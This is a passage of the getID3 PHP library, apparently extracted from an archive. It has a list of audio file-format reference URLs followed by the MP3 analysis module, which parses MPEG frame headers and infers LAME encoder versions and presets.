* http://www.atsc.org/standards/a_52a.pdf
* http://www.alanwood.net/unicode/
* http://www.freelists.org/archives/matroska-devel/07-2003/msg00010.html
* http://www.its.msstate.edu/net/real/reports/config/tags.stats
* http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
* http://brennan.young.net/Comp/LiveStage/things.html
* http://www.multiweb.cz/twoinches/MP3inside.htm
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/alittle.html#GenreExtended
* http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
* http://www.unicode.org/unicode/faq/utf_bom.html
* http://tta.corecodec.org/?menu=format
* http://www.scvi.net/nsvformat.htm
* http://pda.etsi.org/pda/queryform.asp
* http://cpansearch.perl.org/src/RGIBSON/Audio-DSS-0.02/lib/Audio/DSS.pm
* http://trac.musepack.net/trac/wiki/SV8Specification
* http://wyday.com/cuesharp/specification.php
* http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
* http://www.codeproject.com/Articles/8295/MPEG-Audio-Frame-Header
* http://dsd-guide.com/sites/default/files/white-papers/DSFFileFormatSpec_E.pdf
* https://fileformats.fandom.com/wiki/Torrent_filePKE]Zmodule.audio.mp3.phpnuW+A<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.mp3.php                                        //
// module for analyzing MP3 files                              //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}


class getid3_mp3 extends getid3_handler
{
	/**
	 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
	 * unrecommended, but may provide data from otherwise-unusable files.
	 *
	 * @var bool
	 */
	public $allow_bruteforce = false;

	/**
	 * number of frames to scan to determine if MPEG-audio sequence is valid
	 * Lower this number to 5-20 for faster scanning
	 * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams
	 *
	 * @var int
	 */
	public $mp3_valid_check_frames = 50;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$initialOffset = $info['avdataoffset'];

		if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) {
			if ($this->allow_bruteforce) {
				$this->error('Rescanning file in BruteForce mode');
				$this->getOnlyMPEGaudioInfoBruteForce();
			}
		}


		if (isset($info['mpeg']['audio']['bitrate_mode'])) {
			$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
		}

		$CurrentDataLAMEversionString = null;
		if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) {

			$synchoffsetwarning = 'Unknown data before synch ';
			if (isset($info['id3v2']['headerlength'])) {
				$synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, ';
			} elseif ($initialOffset > 0) {
				$synchoffsetwarning .= '(should be at '.$initialOffset.', ';
			} else {
				$synchoffsetwarning .= '(should be at beginning of file, ';
			}
			$synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')';
			if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) {

				if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				} elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				}

			}
			$this->warning($synchoffsetwarning);

		}

		if (isset($info['mpeg']['audio']['LAME'])) {
			$info['audio']['codec'] = 'LAME';
			if (!empty($info['mpeg']['audio']['LAME']['long_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00");
			} elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00");
			}
		}

		$CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : ''));
		if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) {
			// a version number of LAME that does not end with a number like "LAME3.92"
			// or with a closing parenthesis like "LAME3.88 (alpha)"
			// or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)

			// not sure what the actual last frame length will be, but will be less than or equal to 1441
			$PossiblyLongerLAMEversion_FrameLength = 1441;

			// Not sure what version of LAME this is - look in padding of last frame for longer version string
			$PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength;
			$this->fseek($PossibleLAMEversionStringOffset);
			$PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength);
			switch (substr($CurrentDataLAMEversionString, -1)) {
				case 'a':
				case 'b':
					// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
					// need to trim off "a" to match longer string
					$CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1);
					break;
			}
			if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) {
				if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) {
					$PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3"  "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)"
					if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) {
						if (!empty($info['audio']['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version']) && ($info['audio']['encoder'] == $info['mpeg']['audio']['LAME']['short_version'])) {
							if (preg_match('#^LAME[0-9\\.]+#', $PossiblyLongerLAMEversion_NewString, $matches)) {
								// "LAME3.100" -> "LAME3.100.1", but avoid including "(alpha)" and similar
								$info['mpeg']['audio']['LAME']['short_version'] = $matches[0];
							}
						}
						$info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString;
					}
				}
			}
		}
		if (!empty($info['audio']['encoder'])) {
			$info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 ");
		}

		switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') {
			case 1:
			case 2:
				$info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer'];
				break;
		}
		if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) {
			switch ($info['audio']['dataformat']) {
				case 'mp1':
				case 'mp2':
				case 'mp3':
					$info['fileformat'] = $info['audio']['dataformat'];
					break;

				default:
					$this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"');
					break;
			}
		}

		if (empty($info['fileformat'])) {
			unset($info['fileformat']);
			unset($info['audio']['bitrate_mode']);
			unset($info['avdataoffset']);
			unset($info['avdataend']);
			return false;
		}

		$info['mime_type']         = 'audio/mpeg';
		$info['audio']['lossless'] = false;

		// Calculate playtime
		if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) {
			// https://github.com/JamesHeinrich/getID3/issues/161
			// VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored
			$xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0);

			$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate'];
		}

		$info['audio']['encoder_options'] = $this->GuessEncoderOptions();

		return true;
	}

	/**
	 * @return string
	 */
	public function GuessEncoderOptions() {
		// shortcuts
		$info = &$this->getid3->info;
		$thisfile_mpeg_audio = array();
		$thisfile_mpeg_audio_lame = array();
		if (!empty($info['mpeg']['audio'])) {
			$thisfile_mpeg_audio = &$info['mpeg']['audio'];
			if (!empty($thisfile_mpeg_audio['LAME'])) {
				$thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME'];
			}
		}

		$encoder_options = '';
		static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256);

		if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) {

			$encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality'];

		} elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) {

			$encoder_options = $thisfile_mpeg_audio_lame['preset_used'];

		} elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) {

			static $KnownEncoderValues = array();
			if (empty($KnownEncoderValues)) {

				//$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name';
				$KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane';        // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane';        // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane';        // 3.94,   3.95
				$KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme';       // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme';       // 3.90.2, 3.91
				$KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme';       // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme';  // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme';  // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard';      // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard';      // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3
				$KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix';                    // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix';                    // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix';                    // 3.94,   3.95
				$KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium';        // 3.90.3
				$KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium';   // 3.90.3

				$KnownEncoderValues[0xFF][99][1][1][1][2][0]     = '--preset studio';            // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio';            // 3.90.3, 3.93.1
				$KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio';            // 3.93
				$KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio';            // 3.94,   3.95
				$KnownEncoderValues[0xC0][88][1][1][1][2][0]     = '--preset cd';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd';                // 3.90.3, 3.93.1
				$KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd';                // 3.93
				$KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd';                // 3.94,   3.95
				$KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi';              // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi';              // 3.94,   3.95
				$KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio';             // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm';     // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm';     // 3.94,   3.95
				$KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice';             // 3.94,   3.95
				$KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice';             // 3.94a14
				$KnownEncoderValues[0x28][65][1][1][0][2][7500]  = '--preset mw-us';             // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0x28][65][1][1][0][2][7600]  = '--preset mw-us';             // 3.90.2, 3.91
				$KnownEncoderValues[0x28][58][2][2][0][2][7000]  = '--preset mw-us';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us';             // 3.94,   3.95
				$KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us';             // 3.94a14
				$KnownEncoderValues[0x28][57][2][1][0][4][8800]  = '--preset mw-us';             // 3.94a15
				$KnownEncoderValues[0x18][58][2][2][0][2][4000]  = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1
				$KnownEncoderValues[0x18][58][2][2][0][2][3900]  = '--preset phon+/lw/mw-eu/sw'; // 3.93
				$KnownEncoderValues[0x18][57][2][1][0][4][5900]  = '--preset phon+/lw/mw-eu/sw'; // 3.94,   3.95
				$KnownEncoderValues[0x18][57][2][1][0][4][6200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a14
				$KnownEncoderValues[0x18][57][2][1][0][4][3200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a15
				$KnownEncoderValues[0x10][58][2][2][0][2][3800]  = '--preset phone';             // 3.90.3, 3.93.1
				$KnownEncoderValues[0x10][58][2][2][0][2][3700]  = '--preset phone';             // 3.93
				$KnownEncoderValues[0x10][57][2][1][0][4][5600]  = '--preset phone';             // 3.94,   3.95
			}

			if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif ($info['audio']['bitrate_mode'] == 'vbr') {

				// http://gabriel.mp3-tech.org/mp3infotag.html
				// int    Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h


				$LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10);
				$LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10);
				$encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value;

			} elseif ($info['audio']['bitrate_mode'] == 'cbr') {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);

			} else {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']);

			}

		} elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) {

			$encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr'];

		} elseif (!empty($info['audio']['bitrate'])) {

			if ($info['audio']['bitrate_mode'] == 'cbr') {
				if ($info['audio']['bitrate'] == 'free') {
					$encoder_options = strtoupper($info['audio']['bitrate_mode']);
				} else {
					$encoder_options = strtoupper($info['audio']['bitrate_mode']).round($info['audio']['bitrate'] / 1000);
				}
			} else {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
			}

		}
		if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) {
			$encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min'];
		}

		if (isset($thisfile_mpeg_audio['bitrate']) && ($thisfile_mpeg_audio['bitrate'] === 'free')) {
			$encoder_options .= ' --freeformat';
		}

		if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) {
			$encoder_options .= ' --nogap';
		}

		if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) {
			$ExplodedOptions = explode(' ', $encoder_options, 4);
			if ($ExplodedOptions[0] == '--r3mix') {
				$ExplodedOptions[1] = 'r3mix';
			}
			switch ($ExplodedOptions[0]) {
				case '--preset':
				case '--alt-preset':
				case '--r3mix':
					if ($ExplodedOptions[1] == 'fast') {
						$ExplodedOptions[1] .= ' '.$ExplodedOptions[2];
					}
					switch ($ExplodedOptions[1]) {
						case 'portable':
						case 'medium':
						case 'standard':
						case 'extreme':
						case 'insane':
						case 'fast portable':
						case 'fast medium':
						case 'fast standard':
						case 'fast extreme':
						case 'fast insane':
						case 'r3mix':
							static $ExpectedLowpass = array(
									'insane|20500'        => 20500,
									'insane|20600'        => 20600,  // 3.90.2, 3.90.3, 3.91
									'medium|18000'        => 18000,
									'fast medium|18000'   => 18000,
									'extreme|19500'       => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'extreme|19600'       => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'fast extreme|19500'  => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'fast extreme|19600'  => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'standard|19000'      => 19000,
									'fast standard|19000' => 19000,
									'r3mix|19500'         => 19500,  // 3.90,   3.90.1, 3.92
									'r3mix|19600'         => 19600,  // 3.90.2, 3.90.3, 3.91
									'r3mix|18000'         => 18000,  // 3.94,   3.95
								);
							if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) {
								$encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency'];
							}
							break;

						default:
							break;
					}
					break;
			}
		}

		if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) {
			if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) {
				$encoder_options .= ' --resample 44100';
			} elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) {
				$encoder_options .= ' --resample 48000';
			} elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) {
				switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) {
					case 0: // <= 32000
						// may or may not be same as source frequency - ignore
						break;
					case 1: // 44100
					case 2: // 48000
					case 3: // 48000+
						$ExplodedOptions = explode(' ', $encoder_options, 4);
						switch ($ExplodedOptions[0]) {
							case '--preset':
							case '--alt-preset':
								switch ($ExplodedOptions[1]) {
									case 'fast':
									case 'portable':
									case 'medium':
									case 'standard':
									case 'extreme':
									case 'insane':
										$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										break;

									default:
										static $ExpectedResampledRate = array(
												'phon+/lw/mw-eu/sw|16000' => 16000,
												'mw-us|24000'             => 24000, // 3.95
												'mw-us|32000'             => 32000, // 3.93
												'mw-us|16000'             => 16000, // 3.92
												'phone|16000'             => 16000,
												'phone|11025'             => 11025, // 3.94a15
												'radio|32000'             => 32000, // 3.94a15
												'fm/radio|32000'          => 32000, // 3.92
												'fm|32000'                => 32000, // 3.90
												'voice|32000'             => 32000);
										if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) {
											$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										}
										break;
								}
								break;

							case '--r3mix':
							default:
								$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
								break;
						}
						break;
				}
			}
		}
		if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) {
			//$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
			$encoder_options = strtoupper($info['audio']['bitrate_mode']);
		}

		return $encoder_options;
	}

	/**
	 * @param int   $offset
	 * @param array $info
	 * @param bool  $recursivesearch
	 * @param bool  $ScanAsCBR
	 * @param bool  $FastMPEGheaderScan
	 *
	 * @return bool
	 */
	public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) {
		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if ($this->fseek($offset) != 0) {
			$this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset);
			return false;
		}
		//$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame
		$headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data

		// MP3 audio frame structure:
		// $aa $aa $aa $aa [$bb $bb] $cc...
		// where $aa..$aa is the four-byte mpeg-audio header (below)
		// $bb $bb is the optional 2-byte CRC
		// and $cc... is the audio data

		$head4 = substr($headerstring, 0, 4);
		$head4_key = getid3_lib::PrintHexBytes($head4, true, false, false);
		static $MPEGaudioHeaderDecodeCache = array();
		if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) {
			$MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key];
		} else {
			$MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4);
			$MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray;
		}

		static $MPEGaudioHeaderValidCache = array();
		if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache
			//$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true);  // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1)
			$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false);
		}

		// shortcut
		if (!isset($info['mpeg']['audio'])) {
			$info['mpeg']['audio'] = array();
		}
		$thisfile_mpeg_audio = &$info['mpeg']['audio'];

		if ($MPEGaudioHeaderValidCache[$head4_key]) {
			$thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray;
		} else {
			$this->warning('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset);
			return false;
		}

		if (!$FastMPEGheaderScan) {
			$thisfile_mpeg_audio['version']       = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']];
			$thisfile_mpeg_audio['layer']         = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']];

			$thisfile_mpeg_audio['channelmode']   = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']];
			$thisfile_mpeg_audio['channels']      = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2);
			$thisfile_mpeg_audio['sample_rate']   = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']];
			$thisfile_mpeg_audio['protection']    = !$thisfile_mpeg_audio['raw']['protection'];
			$thisfile_mpeg_audio['private']       = (bool) $thisfile_mpeg_audio['raw']['private'];
			$thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']];
			$thisfile_mpeg_audio['copyright']     = (bool) $thisfile_mpeg_audio['raw']['copyright'];
			$thisfile_mpeg_audio['original']      = (bool) $thisfile_mpeg_audio['raw']['original'];
			$thisfile_mpeg_audio['emphasis']      = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']];

			$info['audio']['channels']    = $thisfile_mpeg_audio['channels'];
			$info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate'];

			if ($thisfile_mpeg_audio['protection']) {
				$thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2));
			}
		}

		if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) {
			// http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0
			$this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1');
			$thisfile_mpeg_audio['raw']['bitrate'] = 0;
		}
		$thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding'];
		$thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']];

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) {
			// only skip multiple frame check if free-format bitstream found at beginning of file
			// otherwise is quite possibly simply corrupted data
			$recursivesearch = false;
		}

		// For Layer 2 there are some combinations of bitrate and mode which are not allowed.
		if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) {

			$info['audio']['dataformat'] = 'mp2';
			switch ($thisfile_mpeg_audio['channelmode']) {

				case 'mono':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) {
						// these are ok
					} else {
						$this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

				case 'stereo':
				case 'joint stereo':
				case 'dual channel':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) {
						// these are ok
					} else {
						$this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

			}

		}


		if ($info['audio']['sample_rate'] > 0) {
